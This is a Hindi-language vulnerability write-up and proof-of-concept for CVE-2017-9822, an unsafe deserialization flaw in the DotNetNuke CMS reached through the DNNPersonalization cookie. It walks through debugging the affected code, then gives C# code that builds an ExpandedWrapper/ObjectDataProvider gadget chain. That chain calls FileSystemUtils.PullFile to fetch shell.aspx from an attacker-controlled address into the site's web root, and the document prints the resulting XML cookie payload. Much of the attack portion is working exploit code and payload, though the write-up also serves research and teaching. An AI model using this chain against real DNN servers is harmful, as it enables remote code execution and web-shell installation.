
विस्तृत विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2017-9822 के लिए, जो DotNetNuke CMS में एक XXE/असुरक्षित डिसीरियलाइज़ेशन कमजोरी है, जो कुकी हेरफेर के माध्यम से रिमोट कोड निष्पादन की ओर ले जाती है।
DotNetNuke (जिसे अक्सर DNN के रूप में संक्षिप्त किया जाता है) Microsoft के ASP.NET तकनीक पर आधारित एक CMS (सामग्री प्रबंधन प्रणाली) और वेब एप्लिकेशन फ्रेमवर्क है।
प्रभावित उत्पाद: DotNetNuke (DNN प्लेटफॉर्म) – एक लोकप्रिय .NET CMS/पोर्टल।
प्रकाशन तिथि: जुलाई 2017।
गंभीरता: गंभीर (CVSS ~9.8)।
कमजोरी का प्रकार: XML एक्सटर्नल एंटिटी (XXE) / असुरक्षित डिसीरियलाइज़ेशन → रिमोट कोड एक्ज़ीक्यूशन (RCE)।
प्रभाव: संस्करण 9.1.1 से पहले कुकी के माध्यम से रिमोट कोड निष्पादन संभव है।
यहाँ मैं प्रोग्राम को सेटअप और डीबग करने के लिए विंडोज 10 का उपयोग कर रहा हूँ। मैं जो संस्करण स्थापित कर रहा हूँ वह 9.1.0 है। आप स्थापना का तरीका यहाँ देख सकते हैं। और पूरा होने पर परिणाम इस प्रकार है:


मैंने जो रिपोर्ट पढ़ी हैं, उनके अनुसार यह कमजोरी DotNetNuke के कुकी प्रसंस्करण में स्थित है।
DNN, DNNPersonalization कुकी के लिए असुरक्षित डिसीरियलाइज़ेशन (unsafe deserialization) का उपयोग करता है।

.dll या .exe से स्रोत कोड देखने, विश्लेषण करने और संपादित करने की अनुमति देता है। इसे यहाँ से स्थापित किया जा सकता है। डीबगिंग के लिए हमें दो संस्करण डाउनलोड करने होंगे।
DotNetNuke.dll खोलें और Edit Assembly Attributes (C#) चुनें।
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

फिर इसे सहेज लें।
64-बिट संस्करण को व्यवस्थापक अधिकारों के साथ खोलें और Attach to Process चुनें।

w3wp.exe चुनें।
w3wp.exe चुनने का कारण है:
w3wp.exe = IIS Worker Process।
यह IIS में एप्लिकेशन पूल की निष्पादन प्रक्रिया है।
जब वेबसाइट पर कोई HTTP अनुरोध भेजा जाता है, तो IIS उस अनुरोध को संसाधित करने के लिए एक w3wp.exe बनाता या पुन: उपयोग करता है (ASP.NET कोड चलाना, मॉड्यूल, मिडलवेयर, डेटाबेस कनेक्शन आदि संभालना)।
प्रत्येक एप्लिकेशन पूल में कॉन्फ़िगरेशन (वेब गार्डन, रीसाइक्लिंग) के आधार पर एक या अधिक w3wp.exe प्रक्रियाएँ हो सकती हैं।
इसके बाद Debug -> Window -> Modules चुनें।

पूरा होने पर मॉड्यूल दिखाई देंगे, किसी पर राइट-क्लिक करें और Open All Modules चुनें।

और अंत में DNN से संबंधित सभी असेंबली दिखाई देंगी।

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int) में जाएँ।
यह फ़ंक्शन DNN पोर्टल में उपयोगकर्ता की प्रोफ़ाइल (वैयक्तिकरण डेटा) लोड करने के लिए उपयोग होता है।
यदि उपयोगकर्ता लॉग इन है → प्रोफ़ाइल डेटाबेस + कैश से प्राप्त करें।
यदि उपयोगकर्ता अज्ञात (लॉग इन नहीं) है → प्रोफ़ाइल कुकी DNNPersonalization से प्राप्त करें।
यहाँ हमें DNNPersonalization पर ध्यान केंद्रित करना चाहिए।
यदि userId अमान्य है (अनाम उपयोगकर्ता)।
जाँचें कि अनुरोध में DNNPersonalization कुकी है या नहीं।
यदि है → इस कुकी से XML मान लें।
हम वेबसाइट पर 404 अनुरोध भेजेंगे और कोई भी DNNPersonalization कुकी का उपयोग करेंगे, फिर dnSpy में DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int) पर ब्रेकपॉइंट रखकर डीबग करेंगे।


PortalSettings वर्ग के विश्लेषण पर ध्यान केंद्रित करेंगे।
ध्यान देने वाली बात यह है कि यहाँ if शर्त का उपयोग करके जाँच की जा रही है कि वर्तमान अनुरोध IsAuthenticated है या नहीं।
और हमारे द्वारा भेजा गया अनुरोध 404 है -> unauthenticated।
कॉल स्टैक में, हम Handle404OrException पर ध्यान केंद्रित करते हैं।

context.User null है या नहीं, यदि हाँ, तो context.User को वर्तमान थ्रेड उपयोगकर्ता पर सेट करता है।

हम देख सकते हैं कि Handle404OrException में IsAuthenticated वेरिएबल अब true है और उपयोगकर्ता IIS सर्वर का है, इसलिए अनुरोध एक प्रमाणित उपयोगकर्ता के रूप में निष्पादित होता है।
इस समस्या का कारण इस कोड खंड में है:
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
यदि context.User मौजूद नहीं है → Thread.CurrentPrincipal (अर्थात् थ्रेड की वर्तमान पहचान) सेट करें।
यह अनुरोध को आगे की प्रक्रिया में उपयोगकर्ता/भूमिका जानकारी प्राप्त करने में मदद करता है।
=> जब हम DNNPersonalization वेरिएबल वाली कुकी में कोई भी सामग्री भेजते हैं, तो यह एक सामान्य उपयोगकर्ता के रूप में निष्पादित होती है।
अभी भी DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int) में।
हम देखते हैं कि text वेरिएबल कुकी वैल्यू से मान प्राप्त करता है और फिर इसे Globals.DeserializeHashTableXml() में इनपुट के रूप में डाला जाता है।

Globals.DeserializeHashTableXml() में जाएँ।
DeserializeHashTableXml फ़ंक्शन का कार्य:
एक XML स्ट्रिंग (Source) प्राप्त करता है।
उस XML स्ट्रिंग को Hashtable ऑब्जेक्ट में रूपांतरित करने के लिए पार्स करता है।
पार्सिंग के दौरान, यह XmlUtils.DeSerializeHashtable फ़ंक्शन को कॉल करता है, जिसमें XML रूट नोड निर्दिष्ट करने के लिए पैरामीटर "profile" होता है।
XmlUtils.DeSerializeHashtable के अंदर जाएँ और देखें कि यह कैसे प्रसंस्करण करता है:

DeSerializeHashtable फ़ंक्शन XML स्ट्रिंग लेता है और इसे Hashtable में रूपांतरित करता है। प्रत्येक <item> नोड के लिए, फ़ंक्शन:
key को कुंजी के रूप में लेता है।
type लेता है और डेटा प्रकार निर्धारित करने के लिए Type.GetType(type) कॉल करता है।
XML सामग्री को वास्तविक ऑब्जेक्ट में बदलने के लिए XmlSerializer.Deserialize का उपयोग करता है।
Hashtable में जोड़ता है।
👉 समस्या: क्योंकि type और XML सामग्री पूरी तरह से उपयोगकर्ता नियंत्रित है (कुकी DNNPersonalization से)।
XmlUtils#DeSerializeHashtable पर आधारित जहाँ कमजोरी है, एक समान ऑब्जेक्ट सीरियलाइज़ और डिसीरियलाइज़ करने वाला प्रोग्राम बनाएँ:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml फ़ाइल इस प्रकार दिखेगी:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

अब हम RCE की ओर बढ़ेंगे।
एक ऐसा ऑब्जेक्ट खोजने की आवश्यकता है जो Deserialize निष्पादित होने पर कोड चला सके।
यहाँ हमें FileSystemUtils PullFile विधि मिलती है।

व्याख्या:
PullFile(string URL, string FilePath) — FileSystemUtils में एक स्थैतिक विधि जिसका उपयोग URL से सामग्री को सिस्टम पर FilePath पथ पर डाउनलोड करने के लिए किया जाता है।
आंतरिक रूप से WebClient.DownloadFile(URL, FilePath) का उपयोग करता है — फ़ाइल डाउनलोड और लिखने की क्रिया।
catch केवल त्रुटि लॉग करता है और संदेश लौटाता है; आगे नहीं फेंकता।
लेकिन समस्या यह है:
XmlSerializer क्लास विधि को सीरियलाइज़ नहीं कर सकता, केवल पब्लिक फ़ील्ड और प्रॉपर्टी को। FileSystemUtils क्लास के पब्लिक फ़ील्ड और प्रॉपर्टी में से कोई भी PullFile विधि को कॉल नहीं कर सकता।
ObjectDataProvider क्लास पर आते हैं।
ObjectDataProvider WPF में एक क्लास है (नेमस्पेस System.Windows.Data, मॉड्यूल PresentationFramework.dll)।
रनटाइम पर विधि कॉल करने की क्षमता — न केवल डेटा रखता है, बल्कि रैप किए गए ऑब्जेक्ट पर किसी भी विधि को कॉल करके क्रिया (साइड-इफ़ेक्ट) निष्पादित कर सकता है।
पैरामीटर पास करने की अनुमति देता है — हमलावर विधि में पास किए गए पैरामीटर को नियंत्रित कर सकता है (उदाहरण के लिए PullFile विधि के लिए URL और फ़ाइल पथ)।
ObjectDataProvider स्वयं एक इंटरप्रेटर की तरह “कोड निष्पादित” नहीं करता – लेकिन यह रैप किए गए ऑब्जेक्ट पर किसी भी पब्लिक विधि को कॉल करने की अनुमति देता है। इसलिए, यदि कोई खतरनाक साइड-इफ़ेक्ट वाली पब्लिक विधि मौजूद है (जैसे फ़ाइल डाउनलोड, प्रक्रिया निष्पादन, फ़ाइल लिखना), तो श्रृंखला निष्पादित हो सकती है।

यहाँ यह DataSourceProvider की Refresh() विधि को कॉल कर रहा है।

आगे BeginQuery() पर जाएँ और ध्यान दें कि ObjectDataProvider DataSourceProvider से विरासत में मिला है, और हम ObjectDataProvider की BeginQuery() पर जाते हैं।

QueryWorker के साथ जारी रखें।

यह InvokeMethodOnInstance को कॉल करेगा।

InvokeMethodOnInstance वास्तविक निष्पादन (invoke) विधि है — यह रिफ्लेक्शन का उपयोग करके उस ऑब्जेक्ट पर निर्दिष्ट विधि (MethodName) को कॉल करता है जिसे ObjectDataProvider “रैप” कर रहा है (या यदि स्थैतिक है तो उस प्रकार पर), MethodParameters सूची पास करता है, और फिर उस विधि का रिटर्न मान लौटाता है।
स्क्रिप्ट लिखने के लिए jetbrain rider IDE का उपयोग करें, और DotNetNuke.dll तथा PresentationFramework.dll मॉड्यूल के संदर्भ की आवश्यकता है।

हमारे पास निम्नलिखित निष्पादन योग्य पेलोड है:
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
हमें xml फ़ाइल मिलती है:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
पेलोड डालें



अब शोषण करते हैं।

इसके अलावा हम पेलोड बनाने के लिए ysoserial.NET टूल का उपयोग कर सकते हैं।


इसके अलावा हम FileSystemUtils वर्ग की WriteFile विधि पर फ़ाइल पढ़ने का भी शोषण कर सकते हैं।

